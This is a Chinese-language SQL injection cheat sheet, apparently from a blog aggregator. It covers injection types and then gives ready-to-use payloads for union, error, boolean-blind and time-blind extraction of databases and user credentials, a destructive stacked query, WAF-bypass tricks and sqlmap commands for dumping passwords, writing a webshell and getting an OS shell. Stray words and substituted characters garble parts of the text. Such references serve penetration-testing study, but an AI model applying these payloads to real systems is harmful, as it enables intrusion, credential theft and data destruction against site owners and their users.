SQL总结

SQL注入分类

依据注入点类型分类

  • 数字类型的注入
    • 在 Web 端大概是 http://xxx.com/news.php?id=1 这种形式,其注入点 id 类型为数字,因此叫数字型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where id=1。组合出来的sql注入语句为:select * from news where id=1 and 1=1
  • 字符串类型的注入
    • 在 Web 端大概是 http://xxx.com/news.php?name=admin 这种形式,其注入点 name 类型为字符类型,因此叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where name='admin'。注意多了引号。组合出来的sql注入语句为:select * from news where chr='admin' and 1=1 ' '
  • 搜索型注入
    • 这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,通常在连接地址中有“keyword=关键字”,有的不显示在的连接地址里面,而是直接经过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大体为:select * from 表名 where 字段 like '%关键字%'。组合出来的sql注入语句为:select * from news where search like '%测试 %' and '%1%'='%1%'。测试%' union select 1,2,3,4 and '%'='。php

依据提交方式分类

  • GET注入
    • 提交数据的方式是 GET , 注入点的位置在 GET 参数部分。好比有这样的一个连接http://xxx.com/news.php?id=1 , id 是注入点。
  • POST注入
    • 使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。
  • COOKIE注入
    • HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。
  • HTTP头注入(XFF注入、UA注入、REFERER注入)
    • 注入点在 HTTP 请求头部的某个字段中。好比存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。由于在 HTTP 请求的时候,Cookie 是头部的一个字段。

依据获取信息的方式分类

  • 联合查询注入
    • 可使用union的状况下的注入。
  • 基于报错的注入
    • 即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。把查询语句与报错信息拼接,一块儿显示出来。
  • 基于布尔的盲注
    • 便可以根据返回页面判断条件真假的注入。
  • 基于时间的盲注
    • 即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增长)来判断。
  • 堆查询注入
    • 能够同时执行多条语句的执行时的注入。

联合查询注入

1.判断注入点python

2.判断注入点类型mysql

3.判断查询列数web

order by 函数是对MySQL中查询结果按照指定字段名进行排序,除了指定字 段名还能够指定字段的栏位进行排序,第一个查询字段为1,第二个为2,依次类推。咱们能够经过二分法来猜解列数。输入 order by 4 #  发现页面错误,说明没有4列;输入3列时,页面正常,说明有3列。正则表达式

4.判断显示位sql

?id=-1' union select 1,2,3--+shell

UNION的做用是将两个select查询结果合并。数据库

5.获取数据库名后端

?id=-1' union select 1,2,database()--+  查看当前数据库
?id=-1' union select 1,2,schema_name from information_schema.schemata limit 0,1--+  查看数据库 ;       
?id=-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata--+ 查看全部的数据库;浏览器

6.获取表名

?id=-1' unionselect1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1--+ 查表;   
?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+查看全部的表;

7.获列名

?id=-1' union select 1,2,column_name from information_schema.columns where table_name=0x7573657273--+  查询字段信息;
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+查看全部的字段信息;

8.获取列中的信息

?id=-1‘ union select 1,2,concat_ws(’~‘,username,password) from security.users limit 1,1--+  查询一个信息;
?id=-1’ union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+  查询全部信息。

报错注入

报错注入在无法用union联合查询时用,但前提仍是不能过滤一些关键的函数。报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果可以出如今错误信息中。

id=1‘ and updatexml(1,concat(0x7e,(database())),1) or ’1‘=‘1 报错出数据库;

id=1‘ and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1)),1) or ’1‘=‘1 查询全部的数据库,使用limit进行逐个查询。

经常使用的报错语句模板:

1. 经过floor报错

and (select 1 from (select count(*),concat(( payload),floor (rand(0)*2))x from information_schema.tables group by x)a)

其中payload为你要插入的SQL语句

须要注意的是该语句将 输出字符长度限制为64个字符

2. 经过updatexml报错

and updatexml(1, payload,1)

一样该语句对输出的字符长度也作了限制,其最长输出32位

而且该语句对payload的反悔类型也作了限制,只有在payload返回的不是xml格式才会生效

3. 经过ExtractValue报错

and extractvalue(1, payload)

输出字符有长度限制,最长32位。

布尔盲注

盲注与其余注入有所不一样,普通注入查询正确会返回结果。而在盲注的sql查询中,服务器只会返回是,不是两种回答,所以就给咱们的注入带来了麻烦,手工盲注的工做量是普通注入的几十倍之多,通常来讲咱们采用自动化注入工具,如sqlmap来实现。

id=1‘ and ascii(substr((select database()),1,1)) > 16--+

id=1‘ and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >17 --+先经过大于号或者小于号来判断数据库的第一个字母是哪个;

id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1)) = 115--+此时能够验证数据库中第五个数据库的第一个字母是s

id=1‘ and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1),1,1)) >11 --+判断security数据库中的第4个表中的数据的第一位是否大于11;

id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1),1,1)) =117 --+验证数据库中第4个表中的数据的第一位的第一个字母的ascii码是不是117,也就是 u。

时间盲注

Timing Attack注入,也就是时间盲注。经过简单的条件语句好比 and 1=2 是没法看出异常的。

在MySQL中,有一个Benchmark() 函数,它是用于测试性能的。Benchmark(count,expr) ,这个函数执行的结果,是将表达式 expr 执行 count 次 。所以,利用benchmark函数,可让同一个函数执行若干次,使得结果返回的时间比平时要长,经过时间长短的变化,能够判断注入语句是否执行成功。这是一种边信道攻击,这个技巧在盲注中被称为Timing Attack,也就是时间盲注。

利用前提:页面上没有显示位,也没有输出 SQL 语句执行错误信息。正确的 SQL 语句和错误的 SQL 语句返回页面都同样,可是加入 sleep(5)条件以后,页面的返回速度明显慢了 5 秒。

http://127.0.0.1/sqli/Less-1/?id=1' and sleep(5) --+//判断是否存在延时注入

id=1‘ and sleep(5)--+ 使用延迟的方法判断是否存在注入漏洞;

id=1‘ and if(length(database()) = 8,1,sleep(5))--+当为8的时候很快加载,而为其余值得时候加载较慢(5s左右),那就说明此时数据库的长度就是8(security);

id=1' and if(ascii(substr((select database()),1,1)) >113,1,sleep(5))--+若是当前数据库的第一个字母的ascii值大于113的时候,会马上返回结果,不然执行5s;

id=1‘ and if(ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1))>112,1,sleep(5))--+同理判断数据库中的第5个数据库的第一位的ascii的值是否是大于112(实际中是115),若是是的则速度返回,不然延时5s返回结果;

堆叠注入

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下咱们在 ; 结束一个sql语句后继续构造下一条语句,会不会一块儿执行?所以这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一块儿,二者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,能够用来执行查询语句,而堆叠注入能够执行的是任意的语句。例如如下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

宽字节注入

宽字节注入是因为不一样编码中中英文所占字符的不一样所致使的。一般来讲,在GBK编码当中,一个汉字占用2个字节。而在UTF-8编码中,一个汉字占用3个字节。在php中,咱们能够经过输入 echo strlen("中") 来测试,当为GBK编码时,输入2,而为UTF-8编码时,输出3。除了GBK之外,全部的ANSI编码都是中文都是占用两个字节。

经常使用符号

空格 :%20

单引号: %27

#: %23

\ :%5C

字符集 

ASCII 编码:单字节编码

latin1 编码:单字节编码

gbk 编码:一个字符占1个字节**,两个字节以上叫宽字节**,设置“set character_set_client=gbk”(gbk编码设置),一般致使编码转换的注入问题,尤为是使用php 链接mysql数据库的时候,一个gbk汉字占两个字节,取值范围是(编码位数):第一个字节是(129-254),第二个字节(64-254),当设置gbk编码后,遇到连续两个字节,都符合gbk取值范围,会自动解析为一个汉字
UTF-8 编码:使用一至四字节编码, 0x00–0x7F 范围内是一位,和 ASCII 保持一致。其它字符用二至四个字节变长表示。 因为ASCII表示的字符只有128个,所以网络世界的规范是使用UNICODE编码,可是用ASCII表示的字符使用UNICODE并不高效。所以出现了中间格式字符集,被称为通用转换格式,及UTF(UniversalTransformation Format)。

二次注入

二次注入漏洞是一种在Web应用程序中普遍存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,可是它却具备与一次注入攻击漏洞相同的攻击威力。

一、黑客经过构造数据的形式,在浏览器或者其余软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令。

二、服务端应用程序会将黑客提交的数据信息进行存储,一般是保存在数据库中,保存的数据信息的主要做用是为应用程序执行其余功能提供原始输入数据并对客户端请求作出响应。

三、黑客向服务端发送第二个与第一次不相同的请求数据信息。

四、服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而致使黑客在第一次请求中构造的SQL语句或者命令在服务端环境中执行。

五、服务端返回执行的处理结果数据信息,黑客能够经过返回的结果数据信息判断二次注入漏洞利用是否成功

cookie注入

注入字段在cookie数据中

1.判断字段数

order by

2.union select 联合查询,获取表名

0‘ union select 1,group_concat(table_name),3  from information_schema.tables  where table_schema = database() --+

3. union select 联合查询,获取列名

0' union select 1, group_concat(column_name),3 from information_schema.columns  where  table_name = 'uisers' --+

4. union select 联合查询,获取字段值

0' union select 1, group_concat(username,0x3a,password),3 from users --+

SQL注入绕过

基本绕过方法

  1. 大小写
  2. 双写
  3. 编码(URL编码、十六进制编码、Unicode编码、ascii编码)
  4. 内联注释(把一些特有的仅在MYSQL上的语句放在 /*!...*/ 中,这样这些语句若是在其它数据库中是不会被执行,但在MYSQL中会执行)

空格绕过

  1. 用注释替换空格select/**/user,password/**/from /**/users;
  2. 空格url编码%20
  3. 两个空格代替一个空格
  4. 用Tab代替空格
  5. %a0=空格
  6. 若是空格被过滤,括号没有被过滤,能够用括号绕过select(user())from dual where(1=1)and(2=2)
  7. 回车

引号绕过

1.使用十六进制

例如:select column_name from information_schema.columns where table_name='users'

如引号被过滤,就能够尝试使用十六进制来进行绕过

便可以将语句写为:select column_name from information_schema.columns where table_name=0x7573657273;

2.已经得知数据库名称和表名

select column_name from information_schema.columns where table_schema=database();

查询所在数据库中的全部列名,猜想哪些字段在哪一个表中,

select username,password from users;

3.宽字节注入

逗号绕过

在使用盲注的时候,须要使用到substr(),mid(),limit,这些子句方法都须要使用到逗号

1.对于substr()和mid()这两个方法可使用from的方式来解决:

select substr(database() from 1 for 1);

2.使用join

union select 1,2 可使用下面的句子代替

union select * from (select 1)a join (select 2)b

3.使用like

select ascii(mid(user(),1,1))=80 可使用下面的句子代替

select user() like 'r%'

4.limit中,使用offset绕过

limit 1offset0

or and xor not绕过

  1. 利用符号替换and = && or=|| xor=| not=!
  2. 在敏感词中添加注释:an/**/d
  3. 双写绕过oorr
  4. 大小写变形
  5. 编码

注释符绕过

  1. id=1' union select 1,2,3 or '1'='1或者:id=1' union select 1,2,'3
  2. 最后添加or 1'
  3. 最后添加 and '1'='1

=绕过

  1. 使用like
  2. 使用!<>,<>是不等于
  3. regrep (正则表达匹配)

<>被过滤

  1. greatest(),least()
  2. strcmp(str1,str2),第一个参数小于第二个参数,返回-1,不然为1
  3. in,between a and b

等价函数

hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()

union select 绕过

SQL注入攻击流程

1.判断注入点

  • 易出现SQL注入的功能点:凡是和数据库有交互的地方都容易出现SQL注入,SQL注入常常出如今登录页面、涉及获取HTTP头(user-agent / client-ip等)的功能点及订单处理等地方。例如登录页面,除常见的万能密码,post 数据注入外也有可能发生在HTTP头中的 client-ip 和 x-forward-for 等字段处。这些字段是用来记录登录的 i p的,有可能会被存储进数据库中从而与数据库发生交互致使sql注入。
  • 先加单引号'、双引号"、单括号)、双括号))等看看是否报错,若是报错就可能存在SQL注入漏洞。
  • 在URL后面加 and 1=1返回正常,and 1=2错误,则存在SQL注入漏洞。
  • Timing Attack测试,即时间盲注。有时候经过简单的条件语句好比 and 1=2 是没法看出异常的。在MySQL中,有一个Benchmark() 函数,它是用于测试性能的。Benchmark(count,expr) ,这个函数执行的结果,是将表达式 expr 执行 count 次 。所以,利用benchmark函数,可让同一个函数执行若干次,使得结果返回的时间比平时要长,经过时间长短的变化,能够判断注入语句是否执行成功。这是一种边信道攻击,这个技巧在盲注中被称为Timing Attack,也就是时间盲注。

2.判断注入点类型

数字型注入点

http://host/test.php?id=100 and 1=1 返回成功
http://host/test.php?id=100 and 1=2 返回失败

字符型注入点

http://host/test.php?name=man' and '1'='1 返回成功
http://host/test.php?name=man' and '1'='2返回失败

搜索型注入点

http://host//test.php?keyword=python%' and 1=1 and '%'='
http://host//test.php?keyword=python%' and 1=2 and '%'='

3.获取数据库数据

mysql数据库

在mysql以上的版本中,为了方便管理,默认定义了information_schema数据库,用来存储数据库元信息,其中具备表schema(数据库名)、tables(表名)、columns(列名或字段名)

在schama表中,  schema_name 字段用来存储数据库名

在tables表中,     table_schema和table_name 分别用来存储数据库名和表名

在columns表中, tables_schema(数据库名)、table_name(表名)、column_name(列名或字段名)

sql数据库增删改查

insert   into    table_name(列名1,列名2)  values (值1,值2)

update 表名字  set  列名称 = 新值  where  列名称 = 旧值

delete  from   表名  where  列名称 = 值

mysql经常使用的聚合函数

user()          查看当前Mysql登陆用户名

database()     查看当前使用Mysql数据库名

version()        查看当前Mysql版本

limit 关键字  limit m n  从m行开始,向下n个结束

sqlmap简介

sqlmap支持五种不一样的注入模式:

  • 一、基于布尔的盲注,便可以根据返回页面判断条件真假的注入。
  • 二、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增长)来判断。
  • 三、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
  • 四、联合查询注入,可使用union的状况下的注入。
  • 五、堆查询注入,能够同时执行多条语句的执行时的注入。

sqlmap支持的数据库有

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB

检测注入

基本格式

sqlmap -u “http://www.vuln.cn/post.php?id=1”

默认使用level1检测所有数据库类型

sqlmap -u “http://www.vuln.cn/post.php?id=1”  –dbms mysql –level 3

指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)

跟随302跳转

当注入页面错误的时候,自动跳转到另外一个页面的时候须要跟随302,
当注入错误的时候,先报错再跳转的时候,不须要跟随302。
目的就是:要追踪到错误信息。

cookie注入

当程序有防get注入的时候,可使用cookie注入
sqlmap -u “http://www.baidu.com/shownews.asp” –cookie “id=11” –level 2(只有level达到2才会检测cookie)

从post数据包中注入

可使用burpsuite或者temperdata等工具来抓取post包

sqlmap -r “c:\tools\request.txt” -p “username” –dbms mysql    指定username参数

注入成功后

获取数据库基本信息

sqlmap -u “http://www.vuln.cn/post.php?id=1”  –dbms mysql –level 3 –dbs

查询有哪些数据库

sqlmap -u “http://www.vuln.cn/post.php?id=1”  –dbms mysql –level 3 -D test –tables

查询test数据库中有哪些表

sqlmap -u “http://www.vuln.cn/post.php?id=1”  –dbms mysql –level 3 -D test -T admin –columns

查询test数据库中admin表有哪些字段

sqlmap -u “http://www.vuln.cn/post.php?id=1”  –dbms mysql –level 3 -D test -T admin -C “username,password” –dump

dump出字段username与password中的数据

其余命令参考下面

从数据库中搜索字段

sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password
在dedecms数据库中搜索字段admin或者password。

读取与写入文件

首先找须要网站的物理路径,其次须要有可写或可读权限。

–file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
#示例:
sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php”

使用shell命令:

sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell
接下来指定网站可写目录:
“E:\php\htdocs\dvwa”

#注:mysql不支持列目录,仅支持读取单个文件。sqlserver能够列目录,不能读写文件,但须要一个(xp_dirtree函数)

sqlmap详细命令:

  • –is-dba 当前用户权限(是否为root权限)
  • –dbs 全部数据库
  • –current-db 网站当前数据库
  • –users 全部数据库用户
  • –current-user 当前数据库用户
  • –random-agent 构造随机user-agent
  • –passwords 数据库密码
  • –proxy http://local:8080 –threads 10 (能够自定义线程加速) 代理
  • –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)

——————————————————————————————————

Options(选项):

  • –version 显示程序的版本号并退出
  • -h, –help 显示此帮助消息并退出
  • -v VERBOSE 详细级别:0-6(默认为1)
  • 保存进度继续跑:

sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” 保存进度
sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” –resume 恢复已保存进度

Target(目标):

如下至少须要设置其中一个选项,设置目标URL。

  • -d DIRECT 直接链接到数据库。
  • -u URL, –url=URL 目标URL。
  • -l LIST 从Burp或WebScarab代理的日志中解析目标。
  • -r REQUESTFILE 从一个文件中载入HTTP请求。
  • -g GOOGLEDORK 处理Google dork的结果做为目标URL。
  • -c CONFIGFILE 从INI配置文件中加载选项。

Request(请求):

这些选项能够用来指定如何链接到目标URL。

  • –data=DATA 经过POST发送的数据字符串
  • –cookie=COOKIE HTTP Cookie头
  • –cookie-urlencode URL 编码生成的cookie注入
  • –drop-set-cookie 忽略响应的Set – Cookie头信息
  • –user-agent=AGENT 指定 HTTP User – Agent头
  • –random-agent 使用随机选定的HTTP User – Agent头
  • –referer=REFERER 指定 HTTP Referer头
  • –headers=HEADERS 换行分开,加入其余的HTTP头
  • –auth-type=ATYPE HTTP身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
  • –auth-cred=ACRED HTTP身份验证凭据(用户名:密码)
  • –auth-cert=ACERT HTTP认证证书(key_file,cert_file)
  • –proxy=PROXY 使用HTTP代理链接到目标URL
  • –proxy-cred=PCRED HTTP代理身份验证凭据(用户名:密码)
  • –ignore-proxy 忽略系统默认的HTTP代理
  • –delay=DELAY 在每一个HTTP请求之间的延迟时间,单位为秒
  • –timeout=TIMEOUT 等待链接超时的时间(默认为30秒)
  • –retries=RETRIES 链接超时后从新链接的时间(默认3)
  • –scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
  • –safe-url=SAFURL 在测试过程当中常常访问的url地址
  • –safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL

Enumeration(枚举):

这些选项能够用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还能够运行
您本身的SQL语句。

  • -b, –banner 检索数据库管理系统的标识
  • –current-user 检索数据库管理系统当前用户
  • –current-db 检索数据库管理系统当前数据库
  • –is-dba 检测DBMS当前用户是否DBA
  • –users 枚举数据库管理系统用户
  • –passwords 枚举数据库管理系统用户密码哈希
  • –privileges 枚举数据库管理系统用户的权限
  • –roles 枚举数据库管理系统用户的角色
  • –dbs 枚举数据库管理系统数据库
  • -D DBname 要进行枚举的指定数据库名
  • -T TBLname 要进行枚举的指定数据库表(如:-T tablename –columns)
  • –tables 枚举的DBMS数据库中的表
  • –columns 枚举DBMS数据库表列
  • –dump 转储数据库管理系统的数据库中的表项
  • –dump-all 转储全部的DBMS数据库表中的条目
  • –search 搜索列(S),表(S)和/或数据库名称(S)
  • -C COL 要进行枚举的数据库列
  • -U USER 用来进行枚举的数据库用户
  • –exclude-sysdbs 枚举表时排除系统数据库
  • –start=LIMITSTART 第一个查询输出进入检索
  • –stop=LIMITSTOP 最后查询的输出进入检索
  • –first=FIRSTCHAR 第一个查询输出字的字符检索
  • –last=LASTCHAR 最后查询的输出字字符检索
  • –sql-query=QUERY 要执行的SQL语句
  • –sql-shell 提示交互式SQL的shell

Optimization(优化):

这些选项可用于优化SqlMap的性能。

  • -o 开启全部优化开关
  • –predict-output 预测常见的查询输出
  • –keep-alive 使用持久的HTTP(S)链接
  • –null-connection 从没有实际的HTTP响应体中检索页面长度
  • –threads=THREADS 最大的HTTP(S)请求并发量(默认为1)

Injection(注入):

这些选项能够用来指定测试哪些参数, 提供自定义的注入payloads和可选篡改脚本。

  • -p TESTPARAMETER 可测试的参数(S)
  • –dbms=DBMS 强制后端的DBMS为此值
  • –os=OS 强制后端的DBMS操做系统为这个值
  • –prefix=PREFIX 注入payload字符串前缀
  • –suffix=SUFFIX 注入payload字符串后缀
  • –tamper=TAMPER 使用给定的脚本(S)篡改注入数据

Detection(检测):

这些选项能够用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。

  • –level=LEVEL 执行测试的等级(1-5,默认为1)
  • –risk=RISK 执行测试的风险(0-3,默认为1)
  • –string=STRING 查询时有效时在页面匹配字符串
  • –regexp=REGEXP 查询时有效时在页面匹配正则表达式
  • –text-only 仅基于在文本内容比较网页

Techniques(技巧):

这些选项可用于调整具体的SQL注入测试。

  • –technique=TECH SQL注入技术测试(默认BEUST)
  • –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
  • –union-cols=UCOLS 定列范围用于测试UNION查询注入
  • –union-char=UCHAR 用于暴力猜解列数的字符

Fingerprint(指纹):

  • -f, –fingerprint 执行检查普遍的DBMS版本指纹

Brute force(蛮力):

这些选项能够被用来运行蛮力检查。

  • –common-tables 检查存在共同表
  • –common-columns 检查存在共同列

User-defined function injection(用户自定义函数注入):
这些选项能够用来建立用户自定义函数。

–udf-inject 注入用户自定义函数
–shared-lib=SHLIB 共享库的本地路径

File system access(访问文件系统):

这些选项能够被用来访问后端数据库管理系统的底层文件系统。

  • –file-read=RFILE 从后端的数据库管理系统文件系统读取文件
  • –file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
  • –file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径

Operating system access(操做系统访问):

这些选项能够用于访问后端数据库管理系统的底层操做系统。

  • –os-cmd=OSCMD 执行操做系统命令
  • –os-shell 交互式的操做系统的shell
  • –os-pwn 获取一个OOB shell,meterpreter或VNC
  • –os-smbrelay 一键获取一个OOB shell,meterpreter或VNC
  • –os-bof 存储过程缓冲区溢出利用
  • –priv-esc 数据库进程用户权限提高
  • –msf-path=MSFPATH Metasploit Framework本地的安装路径
  • –tmp-path=TMPPATH 远程临时文件目录的绝对路径

Windows注册表访问:

这些选项能够被用来访问后端数据库管理系统Windows注册表。

  • –reg-read 读一个Windows注册表项值
  • –reg-add 写一个Windows注册表项值数据
  • –reg-del 删除Windows注册表键值
  • –reg-key=REGKEY Windows注册表键
  • –reg-value=REGVAL Windows注册表项值
  • –reg-data=REGDATA Windows注册表键值数据
  • –reg-type=REGTYPE Windows注册表项值类型

这些选项能够用来设置一些通常的工做参数。

  • -t TRAFFICFILE 记录全部HTTP流量到一个文本文件中
  • -s SESSIONFILE 保存和恢复检索会话文件的全部数据
  • –flush-session 刷新当前目标的会话文件
  • –fresh-queries 忽略在会话文件中存储的查询结果
  • –eta 显示每一个输出的预计到达时间
  • –update 更新SqlMap
  • –save file保存选项到INI配置文件
  • –batch 从不询问用户输入,使用全部默认配置。

Miscellaneous(杂项):

    • –beep 发现SQL注入时提醒
    • –check-payload IDS对注入payloads的检测测试
    • –cleanup SqlMap具体的UDF和表清理DBMS
    • –forms 对目标URL的解析和测试形式
    • –gpage=GOOGLEPAGE 从指定的页码使用谷歌dork结果
    • –page-rank Google dork结果显示网页排名(PR)
    • –parse-errors 从响应页面解析数据库管理系统的错误消息
    • –replicate 复制转储的数据到一个sqlite3数据库
    • –tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
    • –wizard 给初级用户的简单向导界面
相关文章
相关标签/搜索